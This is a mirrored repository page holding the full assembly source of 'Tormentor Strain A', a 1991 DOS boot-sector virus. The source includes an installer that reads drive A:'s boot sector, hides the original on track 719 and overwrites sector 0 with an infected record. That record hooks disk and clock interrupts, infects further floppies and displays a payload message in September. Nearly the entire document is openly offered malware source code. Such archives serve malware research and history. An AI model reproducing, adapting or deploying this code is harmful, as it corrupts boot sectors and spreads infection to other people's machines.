mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
4b9382ddbc
push
543 lines
12 KiB
NASM
543 lines
12 KiB
NASM
code_seg segment
|
||
assume cs:code_seg,ds:code_seg
|
||
|
||
org 100h
|
||
|
||
tormentor proc far
|
||
|
||
@disp macro string
|
||
mov dx,offset string
|
||
mov ah,09h
|
||
int 21h
|
||
endm
|
||
|
||
@exit macro
|
||
mov ax,4c00h
|
||
int 21h
|
||
endm
|
||
|
||
@cls macro mode
|
||
mov ah,00h
|
||
mov al,mode
|
||
int 10h
|
||
endm
|
||
|
||
start: jmp main
|
||
|
||
boot_area dw 256 dup (0)
|
||
boot_sec dw 512 dup (0)
|
||
|
||
message db "Tormentor Strain A",13,10
|
||
db "Written by The High Evolutionary",13,10
|
||
db "Copyright (C) 1991 by The RABID Nat'nl Development Corp."
|
||
db 13,10,13,10
|
||
db "Press any key to install onto media in drive A:",13,10
|
||
db "(Or press CTRL-C to abort)$",13,10
|
||
|
||
paused db 13,10,13,10
|
||
db "[Paused] Insert destination disk if desired and press",13,10
|
||
db "any key, otherwise, press any key$",13,10
|
||
|
||
done db "Done!$",13,10
|
||
|
||
r_fail db 13,10,13,10
|
||
db "Failed to READ in boot sector$",13,10
|
||
|
||
w_fail db 13,10,13,10
|
||
db "Failed to WRITE boot sector$",13,10
|
||
|
||
f_infec db 13,10,13,10
|
||
db "SHIT! We failed to write the virus code to the disk!!!$",13,10
|
||
|
||
r_boot db 13,10,13,10
|
||
db "Now READING in the boot sector$",13,10
|
||
|
||
w_boot db 13,10,13,10
|
||
db "Now WRITING the boot sector to track 719$",13,10
|
||
|
||
w_vir db 13,10,13,10
|
||
db "Now WRITING the VIRUS to the boot sector$",13,10
|
||
|
||
succ db 13,10,13,10
|
||
db "Success! We installed Tormentor onto the drive$",13,10
|
||
|
||
memerr db 13,10,13,10
|
||
db "BOMB! We had a memory allocation error. Bailing out...$",13,10
|
||
db 13,10
|
||
|
||
read_shit db 13,10,13,10
|
||
db "Reading in shit via INT 25...$",13,10
|
||
db 13,10
|
||
|
||
intro db "You are in Torment$",13,10
|
||
|
||
bootseg dw ? ; Storage segment address or mem. block
|
||
; containing copy of boot record
|
||
|
||
dssave dw ? ; Storage for DS register
|
||
;dssave dw seg group ; Storage for DS register
|
||
|
||
pspseg dw ? ; PSP segment storage
|
||
|
||
;stack segment para stack 'STACK' ; Code Segment
|
||
;stack ends
|
||
|
||
;_data segment word public 'DATA' ; Data Segment
|
||
;_data ends
|
||
|
||
;dgroup group data,stack ; Define segment group
|
||
|
||
;*****************************************************************************
|
||
; Boot record information to infect both floppies and hard-drives
|
||
;*****************************************************************************
|
||
|
||
bootrecord struc
|
||
bootjump db 3 dup (?) ; Initial 3 byte jmp instruction
|
||
oemstring db 8 dup (?) ; OEM version and DOS
|
||
sectorbytes dw ? ; Bytes per sector
|
||
clustersec db ? ; Sectors per cluster
|
||
reservedrec dw ? ; Reserved sectors
|
||
fatcopies db ? ; number of FAT copies
|
||
direntries dw ? ; number of root dir entries
|
||
totalsectors dw ? ; Total disk sectors
|
||
mediadescrip db ? ; Media Descriptor
|
||
fatsectors dw ? ; number of sectors occupied by 1 FAT
|
||
tracksectors dw ? ; number of sectors per track
|
||
heads dw ? ; number of heads
|
||
hiddensectors dw ? ; number of hidden sectors
|
||
bootrecord ends
|
||
|
||
drive db ? ; Current drive pointer
|
||
|
||
memalloc proc near
|
||
|
||
push bp ; Save base pointer
|
||
push bx ; Save BX
|
||
mov bp,sp ; init base pointer
|
||
xor al,al ; Zero out AL
|
||
mov ah,48h ; Allocate mem. function
|
||
int 21h
|
||
jnc end_memalloc ; exit if no error
|
||
mov word ptr [bp],bx
|
||
|
||
end_memalloc:
|
||
pop bx ; Restore BX
|
||
pop bp ; Restore Base Pointer
|
||
ret
|
||
|
||
memalloc endp
|
||
|
||
main:
|
||
|
||
get_default_drive:
|
||
mov ah,19h
|
||
int 21h
|
||
mov byte ptr drive,al ; Move current drive into drive
|
||
|
||
|
||
; mov ds,dssave ; Initialise DS
|
||
; mov ax,es ; get PSP address
|
||
; mov word ptr pspseg,ax ; and save it...
|
||
|
||
jmp read_boot
|
||
|
||
; mov bx,40h ; Allocate 1024 bytes
|
||
; call memalloc ; Allocate BX block of memory
|
||
; jnc read_boot
|
||
; @disp memerr
|
||
; jmp quit
|
||
|
||
read_boot:
|
||
@disp read_shit
|
||
mov ah,08h
|
||
int 21h
|
||
mov word ptr bootseg,ax
|
||
push ax ; Save AX onto the stack
|
||
mov al,0
|
||
; mov al,byte ptr drive ; Move current drive into AL
|
||
xor ah,ah ; Zero out AH
|
||
; pop ds ; Restore Data_seg
|
||
pushf ; Save flags
|
||
mov dx,0 ; Read in sector 0
|
||
mov cx,1 ; Read in 1 sector
|
||
mov bx,offset boot_sec ; Store data at DS:boot_sec
|
||
int 25h ; Read in the disk
|
||
popf ; clear flags used by flags
|
||
@disp done
|
||
mov ah,08h
|
||
int 21h
|
||
; assume ds:code_seg ; Restore DS
|
||
|
||
begin: @cls 03
|
||
; mov ah,00 ; Set screen
|
||
; mov al,03 ; Set screen for 80x25 color
|
||
; int 10h ; Call BIOS
|
||
@disp message
|
||
|
||
mov ah,08h ; Wait for a keypress
|
||
int 21h
|
||
mov cx,3
|
||
|
||
read_sector:
|
||
@disp r_boot ; Display that we are reading the
|
||
; sector from the disk
|
||
push cx ; Counter is pushed onto the stack
|
||
mov ax,201h ; Read in 1 sector
|
||
mov bx,offset boot_area ; Store it in boot_area
|
||
mov cx,1 ; Set counter to 1
|
||
mov dx,0 ; Set for drive 0, head 0
|
||
int 13h ; Call BIOS
|
||
pop cx ; Restore counter
|
||
jnc good_read ; If there were no errors, then
|
||
; jump to good_read
|
||
loop read_sector ; Jump back and try reading the sector
|
||
; again while CX>0
|
||
@disp r_fail
|
||
mov ax,4c00h ; Exit
|
||
int 21h ; Call DOS
|
||
|
||
good_read:
|
||
mov cx,3 ; Set counter to 3
|
||
@disp paused ; Display message for pause
|
||
mov ah,08h ; Wait for a key
|
||
int 21h ; Call DOS
|
||
|
||
;*****************************************************************************
|
||
; Write good sector to track 719 (Head 1, track 27, sector 9)
|
||
;*****************************************************************************
|
||
|
||
write_sector:
|
||
@disp w_boot ; Display that we are writing the
|
||
; sector to disk
|
||
mov ax,301h ; Set for writing the boot sector
|
||
mov bx,offset boot_area ; Set buffer to what we read in
|
||
; mov bx,offset infected_data
|
||
mov cx,2709h ; Set counter to 2709h
|
||
mov dx,100h ; Head 1, drive 0
|
||
int 13h ; Call BIOS
|
||
pop cx ; Restore the counter
|
||
jnc good_write ; If we wrote the sectors allright,
|
||
; then jump to good_write
|
||
loop write_sector
|
||
@disp w_fail
|
||
mov ax,4c00h ; Exit
|
||
int 21h ; Call DOS
|
||
|
||
good_write:
|
||
mov cx,3 ; Copy 3 into CX
|
||
@disp w_vir
|
||
infect_floppy:
|
||
push cx ; Push it onto the stack
|
||
mov ax,301h ; Write 1 sector
|
||
mov bx,offset infected_data ; Write corrupt boot sector to the
|
||
; drive
|
||
mov cx,1 ; Set counter to 1
|
||
mov dx,0 ; Set for drive A:
|
||
int 13h ; Call BIOS
|
||
jnc good_infection ; If there are no problems, then
|
||
; continue
|
||
loop infect_floppy ; Otherwise, try again until CX=0
|
||
@disp f_infec ; If CX=0, then display the message
|
||
; and then exit
|
||
mov ax,4c00h ; Exit
|
||
int 21h ; Call DOS
|
||
|
||
good_infection:
|
||
@disp succ
|
||
mov ax,4c00h
|
||
int 21h
|
||
|
||
;*****************************************************************************
|
||
; The following is a copy of the infected boot sector to copy to sector 0
|
||
;*****************************************************************************
|
||
|
||
infected_data db 0EBh, 34h
|
||
nop
|
||
dec cx
|
||
inc dx
|
||
dec bp
|
||
and [bx+si],ah
|
||
xor bp,word ptr ds:[33h]
|
||
add al,[bp+si]
|
||
add [bx+si],ax
|
||
add dh,[bx+si+0]
|
||
rol byte ptr [bp+si],1 ; Rotate
|
||
std ; Set direction flag
|
||
add al,[bx+si]
|
||
or [bx+si],ax
|
||
add al,[bx+si]
|
||
db 19 dup (0)
|
||
; db 'Tormentor Strain A - RABID Nat''nl Development Corp.'
|
||
adc al,[bx+si]
|
||
add [bx+si],al
|
||
add [bx+di],al
|
||
add dl,bh
|
||
xor ax,ax ; Zero register
|
||
mov ds,ax
|
||
mov ss,ax
|
||
mov bx,7C00h ; Pointer to boot segment
|
||
mov sp,bx
|
||
push ds
|
||
data_14 db 53h
|
||
dec word ptr ds:[413h]
|
||
int 12h ; Put (memory size)/1K in ax
|
||
mov cl,6
|
||
shl ax,cl ; Shift w/zeros fill
|
||
mov es,ax
|
||
xchg ax,word ptr ds:[4Eh]
|
||
mov word ptr ds:[7DABh],ax
|
||
mov ax,128h
|
||
xchg ax,word ptr ds:[4Ch]
|
||
mov word ptr ds:[7DA9h],ax
|
||
mov ax,es
|
||
xchg ax,word ptr ds:[66h]
|
||
mov word ptr ds:[7DAFh],ax
|
||
mov ax,0BBh
|
||
xchg ax,word ptr ds:[64h]
|
||
mov word ptr ds:[7DADh],ax
|
||
xor di,di ; Zero register
|
||
mov si,bx
|
||
mov cx,100h
|
||
cld ; Clear direction
|
||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||
sti ; Enable interrupts
|
||
push es
|
||
mov ax,85h
|
||
push ax
|
||
retf
|
||
push bx
|
||
xor dl,dl ; Zero register
|
||
call sub_2 ; (00FB)
|
||
pop bx
|
||
push ds
|
||
pop es
|
||
mov ah,2
|
||
mov dh,1
|
||
call sub_6 ; (011F)
|
||
jc loc_2 ; Jump if carry Set
|
||
push cs
|
||
pop ds
|
||
mov si,offset ds:[0Bh]
|
||
mov di,offset ds:[7C0Bh]
|
||
mov cx,2Bh
|
||
cld ; Clear direction
|
||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||
jz loc_ret_3 ; Jump if zero
|
||
loc_2:
|
||
pop bx
|
||
pop ax
|
||
push cs
|
||
mov ax,0AFh
|
||
push ax
|
||
|
||
loc_ret_3:
|
||
retf ; Return far
|
||
read_error:
|
||
push cs
|
||
pop ds
|
||
mov si,1DBh
|
||
call sub_1 ; (00DA)
|
||
xor ah,ah ; Zero register
|
||
int 16h ; Keyboard i/o ah=function 00h
|
||
; get keybd char in al, ah=scan
|
||
xor ax,ax ; Zero register
|
||
int 13h ; Disk dl=drive a ah=func 00h
|
||
; reset disk, al=return status
|
||
push cs
|
||
pop es
|
||
mov bx,offset ds:[200h]
|
||
mov cx,6
|
||
xor dx,dx ; Zero register
|
||
mov ax,201h
|
||
int 13h ; Disk dl=drive a ah=func 02h
|
||
; read sectors to memory es:bx
|
||
jc read_error ; Jump if carry Set
|
||
mov cx,0FF0h
|
||
mov ds,cx
|
||
jmp dword ptr cs:data_16
|
||
|
||
;
|
||
; Insert Tormentor endp here...
|
||
;
|
||
;tormentor endp
|
||
|
||
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; SUBROUTINE
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
sub_1 proc near
|
||
loc_5:
|
||
mov bx,7
|
||
cld ; Clear direction
|
||
lodsb ; String [si] to al
|
||
or al,al ; Zero ?
|
||
jz loc_ret_9 ; Jump if zero
|
||
jns loc_6 ; Jump if not sign
|
||
xor al,0D7h
|
||
or bl,88h
|
||
loc_6:
|
||
cmp al,20h
|
||
jbe loc_7 ; Jump if below or =
|
||
mov cx,1
|
||
mov ah,9 ;
|
||
int 10h ; Video display ah=functn 09h
|
||
; set char al & attrib bl @curs
|
||
loc_7:
|
||
mov ah,0Eh
|
||
int 10h ; Video display ah=functn 0Eh
|
||
; write char al, teletype mode
|
||
jmp short loc_5 ; (00DA)
|
||
|
||
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
sub_2:
|
||
mov bx,200h
|
||
mov cx,2
|
||
mov ah,cl
|
||
call sub_5 ; (011D)
|
||
mov cx,2709h
|
||
xor byte ptr es:[bx],0FDh
|
||
jz loc_8 ; Jump if zero
|
||
mov cx,4F0Fh
|
||
loc_8:
|
||
jmp short loc_ret_9 ; (0127)
|
||
nop
|
||
|
||
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
sub_3:
|
||
mov ah,2
|
||
mov bx,200h
|
||
|
||
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
sub_4:
|
||
mov cx,1
|
||
|
||
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
sub_5:
|
||
mov dh,0
|
||
|
||
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
sub_6:
|
||
mov al,1
|
||
|
||
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
sub_7:
|
||
pushf ; Push flags
|
||
call dword ptr cs:data_15
|
||
|
||
loc_ret_9:
|
||
retn
|
||
sub_1 endp
|
||
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push es
|
||
push ds
|
||
push si
|
||
push di
|
||
pushf ; Push flags
|
||
push cs
|
||
pop ds
|
||
cmp dl,1
|
||
ja loc_11 ; Jump if above
|
||
and ax,0FE00h
|
||
jz loc_11 ; Jump if zero
|
||
xchg al,ch
|
||
shl al,1 ; Shift w/zeros fill
|
||
add al,dh
|
||
mov ah,9
|
||
mul ah ; ax = reg * al
|
||
add ax,cx
|
||
sub al,6
|
||
cmp ax,6
|
||
ja loc_11 ; Jump if above
|
||
push cs
|
||
pop es
|
||
call sub_3 ; (0115)
|
||
jc loc_10 ; Jump if carry Set
|
||
mov di,offset data_14
|
||
mov si,offset ds:[243h]
|
||
mov cx,0Eh
|
||
std ; Set direction flag
|
||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to
|
||
; es:[di]
|
||
jz loc_11 ; Jump if zero
|
||
sub si,cx
|
||
sub di,cx
|
||
mov cl,33h ; '3'
|
||
rep movsb ; Rep when cx >0 Mov [si] to
|
||
; es:[di]
|
||
call sub_2 ; (00FB)
|
||
push cx
|
||
push bx
|
||
call sub_3 ; (0115)
|
||
mov ah,3
|
||
xor bx,bx ; Zero register
|
||
call sub_4 ; (011A)
|
||
pop bx
|
||
pop cx
|
||
jc loc_10 ; Jump if carry Set
|
||
mov dh,1
|
||
mov ah,3
|
||
call sub_6 ; (011F)
|
||
loc_10:
|
||
xor ax,ax ; Zero register
|
||
call sub_7 ; (0121)
|
||
loc_11:
|
||
mov ah,4
|
||
int 1Ah ; Real time clock ah=func 04h
|
||
; read date cx=year, dx=mon/day
|
||
cmp dh,9
|
||
jne not_month ; Jump if not equal
|
||
mov si,1B1h
|
||
call sub_1 ; (00DA)
|
||
not_month:
|
||
popf ; Pop flags
|
||
pop di
|
||
pop si
|
||
pop ds
|
||
pop es
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
jmp dword ptr cs:data_15
|
||
data_15 dd 0C602EC59h
|
||
data_16 dd 0F000E6F2h
|
||
esc 2,ch ; coprocessor escape
|
||
and [bp+di-4141h],al
|
||
movsb ; Mov [si] to es:[di]
|
||
idiv word ptr [bp-85Ch] ; ax,dxrem=dx:ax/data
|
||
xchg ax,si
|
||
mov si,offset ds:[0B4A5h]
|
||
mov ax,0DAA7h
|
||
esc 5,[bx+si] ; coprocessor escape
|
||
db 'IO SYSMSDOS SYS', 0Dh, 0Ah
|
||
db 'Non-system disk or disk error', 0Dh
|
||
db 0Ah
|
||
add [bx+si],al
|
||
push bp
|
||
; jmp cont
|
||
|
||
; db 'Tormentor Strain A - RABID Nat''nl Development Corp.'
|
||
stosb
|
||
;cont: stosb ; Store al to es:[di]
|
||
|
||
tormentor endp
|
||
|
||
quit: mov ax,4c00h
|
||
int 21h
|
||
|
||
|
||
code_seg ends
|
||
end start
|
||
|
||
|